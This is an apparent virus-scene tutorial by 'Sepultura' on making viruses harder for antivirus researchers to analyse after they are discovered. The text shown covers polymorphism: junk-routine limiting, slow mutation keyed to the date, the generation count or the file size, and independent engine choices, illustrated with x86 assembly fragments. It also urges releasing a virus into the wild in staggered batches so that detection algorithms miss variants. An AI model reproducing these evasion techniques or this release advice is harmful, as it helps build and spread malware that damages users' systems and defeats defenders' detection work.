344 lines
17 KiB
Plaintext
344 lines
17 KiB
Plaintext
POST - DISCOVERY - STRATAGIES
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
By Sepultura
|
|
|
|
-USE-ANARCHY-TO-GET-WHAT-YOU-WANT-
|
|
|
|
Introduction
|
|
~~~~~~~~~~~~
|
|
|
|
Most virii these days, take many Pre-Discovery precautions. This
|
|
simply means that they take precautions to avoid discovery, assuming the
|
|
virus has not already been discovered. Common examples of Pre-Discovery
|
|
Stratagies are File Stealth, Sector Stealth, and MCB stealth (i.e any
|
|
stealth). These mechanisms are used to stop the virus being discovered,
|
|
but once it has been discovered, and is in the hands of the AV, they're
|
|
essentially useless. It is only a matter of days (or even hours) until a
|
|
suitable scan string or algorithm has been determined, for inclusion in
|
|
to there AV programs.
|
|
|
|
There is how ever, a solution: POST DISCOVERY STRATAGIES. These
|
|
are mechanisms that instead of serving the purpose of hiding the virus
|
|
from detection, make the virus harder to analyse, and hence determine a
|
|
scan string or detection algorithm. To be entirely honest, the previous
|
|
statement is not completely correct - in order to take advantage of any
|
|
of these methods your virus can not have a scan string - without atleast
|
|
polymorphism, Post Discovery Stratagies ARE USELESS. This document will
|
|
be divided in to three main sections: Polymorphism
|
|
Anti-Bait Techniques
|
|
Anti-Debugger Techniques.
|
|
|
|
I have decided to do it in that particular order, as it follows
|
|
my master scheme, which in my opinion takes maximum advantage of Post
|
|
Discovery Stratagies, and which I will outline throughout this document.
|
|
|
|
I have supplied example code fragments throughout this document,
|
|
several full programs in the Anti - Debugger section, as well as a bait
|
|
maker in the Anti-Bait section, so you can test your Anti-Bait routines.
|
|
|
|
|
|
Polymorphism
|
|
~~~~~~~~~~~~
|
|
|
|
-I-USED-THE-ENEMY-I-USED-ANARCHY-
|
|
|
|
This section is not intended to tell you what a polymorphic
|
|
engine is, nor will it tell you how to code one. If you do not know
|
|
either of these, you should read this when you do, or alternatively you
|
|
could read this, and take the explained methods in to account when you
|
|
do code one.
|
|
|
|
The thing you have to remember is that the AV people need to
|
|
devise an alogrithm that will detect near to 100% of their samples, but
|
|
at the same time, have only a small number of false positives. Your job,
|
|
is ofcourse, to stop them from doing this.
|
|
|
|
|
|
Polymorphism: The Obvious
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
One of the most obvious things that would you help in your Post
|
|
Discovery Stratagies, is to make the decryptors and junk as varied as is
|
|
possible. This way, they cannot use an algorithm that traces through the
|
|
code, and concludes that the file is not infected, as soon as an opcode
|
|
is encounted that can't be generated by your engine. What might not seem
|
|
to obvious, is that although your engine should be able to CREATE a wide
|
|
variety of junk instructions, it should not USE a wide variety of junk
|
|
instructions in each decryptor. This might seem strange, but it can be
|
|
very useful in delaying the AV's efforts. This is because there are two
|
|
methods that the AV will use to analyse your engine:
|
|
|
|
1. They will disassemble the virus and analyse the engine, to see
|
|
what it can generate in all possible cases.
|
|
|
|
2. They will infect 10s of thousands of bait files to see what it
|
|
generates in all possible cases.
|
|
|
|
|
|
The first of these can be countered by keeping the actual engine
|
|
encrypted, independently of the virus, and then keeping the decryptor
|
|
protected - using the methods outlined in Section 3 (Anti - Debugger
|
|
Techniques).
|
|
|
|
The second method can be countered using the techniques that
|
|
will be discussed in this section (Polymorphism), and Section 2 (Anti -
|
|
Bait Techniques).
|
|
|
|
By using only a very small variety of the large number of junk
|
|
instructions that your engine can generate, when the AV people look at
|
|
the sample bait files, they will only see a small selection of the junk
|
|
that your virus can really create. Because your polymorphic engine is so
|
|
heavily encrypted / armoured, they will not have time to disassemble it,
|
|
and will have to make their judgements based on the bait files. However,
|
|
since the decryptors will only have a limited selection of all possible
|
|
cases, they could easilly make the mistake of basing their algorithm on
|
|
just those decryptors, and release an incomplete algorithm. Of course
|
|
they will not realise their mistake until it is to late. Let us look at
|
|
the following code as an example:
|
|
|
|
------------------------------------------------------------------------
|
|
;Please note that this is simply a code fragment. junk? are supposed to
|
|
;be sub-procedures that create different junk opcodes, while get_rand is
|
|
;supposed to be a sub-procedure that returns a random number in AX
|
|
;between 0 and AX. It is assumed that ES = DS = CS.
|
|
|
|
choose_junk_routines:
|
|
mov cx,5 ;This code should be run only once,
|
|
mov ax,0Ah ;when the virus installs it self TSR.
|
|
call get_rand ;It will select 5 out of 15 junk
|
|
add ax,ax ;routines to call for the decryptors.
|
|
xchg si,ax ;Because it is only run once, all
|
|
add si,offset main_junk_tbl ;decryptors will only use those junk
|
|
mov di,offset junk_tbl ;routines 'til the system is rebooted
|
|
rep movsw ;and the virus re-installed.
|
|
|
|
...
|
|
|
|
main_junk_tbl: ;This is a table, listing all
|
|
dw offset junk0 ;possible junk routines.
|
|
dw offset junk1
|
|
dw offset junk2
|
|
dw offset junk3
|
|
dw offset junk4
|
|
dw offset junk5
|
|
dw offset junk6
|
|
dw offset junk7
|
|
dw offset junk8
|
|
dw offset junk9
|
|
dw offset junkA
|
|
dw offset junkB
|
|
dw offset junkC
|
|
dw offset junkD
|
|
dw offset junkE
|
|
|
|
junk_tbl: ;This is a table, to store the 5 junk
|
|
dw 0,0,0,0,0 ;routines to actually be used.
|
|
|
|
...
|
|
|
|
put_junk:
|
|
mov ax,4 ;This routine when, called will
|
|
call get_rand ;generate 1 junk instruction.
|
|
add ax,ax ;It will call 1 of the 5 routines
|
|
xchg si,ax ;stored in junk_tbl.
|
|
lodsw
|
|
call ax
|
|
ret
|
|
------------------------------------------------------------------------
|
|
|
|
The above code fragment, will ensure that all files infected in
|
|
any 1 session, will only use 5 out of the 15 possible junk instructions.
|
|
|
|
|
|
Polymorphism: Slow Mutation
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
The above techniques work well, but can be even more effective,
|
|
when used in conjucntion with slow mutation. Slow Mutation basically
|
|
means that instead of making certain descisions based on random numbers,
|
|
you make the descisions based on relatively static values. The most
|
|
common values used for this, are from the date (i.e. the month or day of
|
|
the month). For example, let us imagine that the sub - procedure
|
|
'choose_junk_routines' in the previous example, was replaced with this:
|
|
|
|
------------------------------------------------------------------------
|
|
choose_junk_routines:
|
|
mov ah,2a ;ah=2a/i21 (get system date)
|
|
int 21
|
|
mov dl,0
|
|
xchg dh,dl
|
|
xchg dx,ax
|
|
cwd ;ax=month, dx=0
|
|
mov cx,6
|
|
div cx ;divide month by 6
|
|
xchg dx,ax ;ax = remainder (i.e. 0 - 5)
|
|
add ax,ax
|
|
xchg si,ax
|
|
add si,offset main_junk_tbl
|
|
mov di,offset junk_tbl
|
|
mov cx,5
|
|
rep movsw
|
|
------------------------------------------------------------------------
|
|
|
|
The advantage of using this method, is that the same set of five
|
|
junk routines will be used for a ENTIRE MONTH. With the previous example
|
|
if the AV was to make some bait files, and look at them, and think that
|
|
your virus only generated five different junk instructions, and then ran
|
|
the bait maker again, another time, after resetting the system, he/she
|
|
would get bait file with (probably) a different set of junk instructions
|
|
in the decryptor. Because of this, he/she would probably catch on. This
|
|
is important to note, because they will have to make a set of bait files
|
|
to devise the algorithm, and then at least another set to test it. If
|
|
you based the 5 instructions on the month, and armoured the choose_junk_
|
|
routines procedure, then they would get the same 5 instructions, because
|
|
they would be all produced in the same month, and would not easily catch
|
|
on. Other things you should base upon slow mutation techniques include
|
|
things such as what registers to use, the looping method, the encrypt/
|
|
decrypt method, and the length of the decryptor. This way, they have to
|
|
reboot the computer each time, and set a new date, to see all possible
|
|
combinations. Consisdering there are thousands of bait file to be made,
|
|
this also means that there are thousands of resets to be done!
|
|
|
|
Another thing you could base slow mutation descisions on, is a
|
|
generation counter. This is very effective, because if the AV runs an
|
|
infected file, and then because the virus is TSR in memory, runs the
|
|
bait creator, to create some infected samples, all the infected samples,
|
|
will be of the same generation. Even if the AV people think of changing
|
|
the date, the fact that the virus changes some aspects of itself on each
|
|
generation, will not be so obvious. This is especially true if the virus
|
|
makes the changes on, say every fourth generation, instead of each and
|
|
every generation. For example:
|
|
|
|
------------------------------------------------------------------------
|
|
|
|
inc cs:word ptr generation ;This should be run once,
|
|
;at installation.
|
|
|
|
...
|
|
|
|
;This sub-procedure will choose what method to use to decrement the
|
|
;count register. It will choose one of the 8 possible procedures to
|
|
;call from the "decrement_tbl" table. Instead of choosing a method at
|
|
;random, it divdes the generation by 8, and then takes the modulos of
|
|
;(GENERATION / 8) / 8, to choose which procedure to use. In short, the
|
|
;decrement method will only change every 8th generation. The AV do not
|
|
;spend enough time to see all possible methods, as they would have to
|
|
;look at 64 different generations. They will most likely look at only
|
|
;one or two.
|
|
|
|
choose_decrement_method:
|
|
mov ax,0
|
|
generation equ $-2 ;Generation counter starts at 0
|
|
|
|
shr ax,3 ;Divide Generation count by 8
|
|
and ax,7 ;get number between 0 and 7
|
|
add ax,ax
|
|
xchg si,ax
|
|
add si,offset decrement_tbl
|
|
lodsw
|
|
call ax
|
|
ret
|
|
|
|
...
|
|
|
|
decrement_tbl: ;this is supposed to be a table of
|
|
dw offset code_dec_reg ;all the possible procedures you can
|
|
dw offset code_sub_reg_1 ;use to decrement the count register.
|
|
dw offset code_add_reg_negative_1
|
|
dw offset code_clc_sbb_reg_1
|
|
dw offset code_stc_sbb_reg_0
|
|
dw offset code_clc_adc_reg_negative_1
|
|
dw offset code_stc_adc_reg_negative_2
|
|
dw offset code_inc_dec_dec_reg
|
|
------------------------------------------------------------------------
|
|
|
|
Of course, you do not have to base something as trivial as the
|
|
method of decrement on the generation counter, and could instead base
|
|
something more important like the actual method of decryption on it.
|
|
|
|
Also, if you wanted to be really sly (and I know you do), you
|
|
could use the above method, but then release the virus in the wild, with
|
|
its generation counter set to something like 16. This way, no one will
|
|
see the first 2 methods, until the generation counter has carried over.
|
|
About a week after releasing it, you could release it somewhere else, so
|
|
that the AV people will get the first specimen, and their algorithm will
|
|
be missing the first two methods, while the second infection you release
|
|
can have the counter set to 0, so that the decryptors using the first
|
|
two methods will be in the wild, and will spread, before the AV realise
|
|
their mistake.
|
|
|
|
Another thing you could base your slow poly on, is the file you
|
|
are infecting. For example, let us imagine you based the above example
|
|
on the SIZE of the file to be infected, divided by 1000, rather then the
|
|
GENERATION divided by 8. Since the bait files will be of the same or
|
|
similar size, little to no change will be seen. If a different file of a
|
|
different size was infected however, you would have a totally different
|
|
decryptor!
|
|
|
|
|
|
Polymorphism: Make No Two Conditions Dependant
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
One of the biggest mistakes you could make when coding an engine
|
|
is making two conditions dependant on the same thing. For example let us
|
|
imagine that you made both the index register used, and the decryption
|
|
method used dependant on the month. This could possibly mean, that when
|
|
XOR encryption is used, you can guarantee BX is the index register, and
|
|
when ADD is used SI will be the index register. This way, all they have
|
|
to do is check for a XOR [SI],?? instruction or a ADD [BX],??. If you
|
|
made this mistake, and had four index registers, and four decryption
|
|
methods, the scanner need only to check for four possible instructions.
|
|
However, if these were decided on totally independant criteria, they
|
|
would have to check for 16 different instructions, increasing the chance
|
|
of false positives. For another example, let us look at the following:
|
|
------------------------------------------------------------------------
|
|
|
|
code_jmp: mov ax,3f ;this code will generate a random
|
|
call get_rand ;conditional jump, to a random offset
|
|
mov ah,al ;between 0 adn 3f bytes from the
|
|
or al,70 ;jump. Note that the conditional
|
|
stosw ;jumps are 70h -> 7fh.
|
|
------------------------------------------------------------------------
|
|
|
|
The above example will always generate, a working, conditional
|
|
jump. It does however have a fairly obvious flaw. If the jump opcode is
|
|
70h then the offset of the jump will be 0, 10h, 20h, or 30h. If the jump
|
|
opcode is 70h then the offset of the jump will be 1, 11h, 21h, or 31h.
|
|
This will remain true for all of 70h to 7fh. This is very dangerous, as
|
|
a scanner could something like this in its algorithm:
|
|
------------------------------------------------------------------------
|
|
|
|
;This code fragment, is assumed to be part of a scanner that is tracing
|
|
;through the code it scans. It is assumed that DS:SI points to the current
|
|
;instruction being processed.
|
|
|
|
lodsw
|
|
cmp al,70
|
|
jb not_cond_jmp
|
|
cmp al,7f ;checks if we are dealing with a
|
|
ja not_cond_jmp ;conditional jump.
|
|
|
|
and ax,0f0f ;If the jump was generated with the
|
|
cmp al,ah ;above example, AL will always = AH.
|
|
jne file_not_infected
|
|
|
|
not_cond_jmp: <DO THE NEXT CHECK>
|
|
------------------------------------------------------------------------
|
|
|
|
As you can see, if many things are dependant on each other, an
|
|
algorithm could be used that uses techniques like the above, and if all
|
|
rules are followed, safely assume the file was infected. To avoid the
|
|
above check, the conditional jump coder should be something like this:
|
|
------------------------------------------------------------------------
|
|
|
|
mov ax,3f
|
|
call get_rand
|
|
mov bl,al
|
|
mov al,0f
|
|
call get_rand
|
|
or al,70
|
|
mov ah,bl
|
|
stosw
|
|
------------------------------------------------------------------------
|
|
|
|
As you can see, in the above example, the offset of the jump is
|
|
totally independant of the jumps opcode. This will make the detection
|
|
algorithm alot harder to devise.
|